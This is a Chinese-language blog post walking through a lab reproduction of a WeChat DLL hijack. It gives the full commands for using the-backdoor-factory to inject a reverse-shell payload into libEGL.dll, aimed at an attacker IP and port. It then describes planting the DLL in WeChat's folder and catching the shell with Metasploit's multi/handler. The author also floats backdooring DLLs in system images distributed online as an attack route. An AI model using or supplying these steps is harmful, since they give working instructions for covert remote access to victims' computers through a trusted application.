微信DLL劫持反弹shell

  • 准备工作
  • 复现过程

一. 准备工作

1. 测试环境

虚拟环境搭建:VMware Workstation 15 pro

网络模式:桥接模式

攻击机:kali Linux 2019.1 IP:192.168.43.143

靶机:Windows 7 ultimate sp1 x64 IP:192.168.43.109

微信版本:2.6.8

2. 使用工具

the-backdoor-factory(BDF):用于DLL注入

Process Explorer:用于查找DLL文件

Metasploit


二. 复现过程

1.DLL注入

1.1安装BDF

在kali系统中安装BDF,具体步骤可以参考readme文档

1
2
3
root@kali:~# git clone https://github.com/secretsquirrel/the-backdoor-factory.git
root@kali:~# cd the-backdoor-factory/
root@kali:~/the-backdoor-factory# ./install.sh

1.2获取DLL文件

使用Process Explorer查找微信客户端需要的dll文件

1

理论上来讲路径在微信安装目录里的dll文件都可以使用,本文选择的是libEGL.dll

1.3DLL注入

把选择的DLL文件放入kali系统中,放置在the-backdoor-factory文件下内,运行如下命令

1
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.43.143

其中,-f 表示被劫持的DLL 文件,-s 表示shell 的类型,-P 表示DLL 要连接远程主机的端口,-H 表示DLL 连接的远程主机,注意参数的大小写问题。

2

接下来选择注入类型,我这里只有一个类型可以选择,有的会有多种,可以自行尝试。在注入完成后,可以看到生成的文件在backdoored目录中。

3

2.反弹shell

2.1将dll文件放回微信的安装目录中

2.2使用Metasploit反弹shell

打开MSF,设置exploit和payload

1
2
use exploit/multi/handler
set payload windows/shell_reverse_tcp

设置好lhost和lport之后,使用exploit运行,监听shell。此时,在靶机中打开微信客户端,即接收到shell。

4


我的靶机里是开着Windows防火墙的,依然没有拦住,这还是说明杀毒软件是有必要的,有空着我去拿win10的靶机试试,看看defender能不能拦住。

最后再补几句吧,这应该不算是漏洞吧,因为几乎所有程序都需要调用dll,所以这个东西顶多算个劫持,所以理论上所有的程序都可以被劫持,至于原理应也很简单,在调用dll时运行植入的脚本。其实这个用来攻击应该是比较简单的,比如说网上的系统镜像,把里面的一个dll改掉,基本不太容易被发现。当然了,以上这段话都是我猜的,没有什么依据,以后如果水平够了可能会研究研究吧。



-------------本文结束感谢您的阅读-------------

本文标题:微信DLL劫持反弹shell

文章作者:J2ck7a1 Ch33

发布时间:2019年06月14日 - 11:06

最后更新:2019年06月14日 - 15:06

原始链接:http://yoursite.com/wechat-dll-hijack/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。


想喝快乐水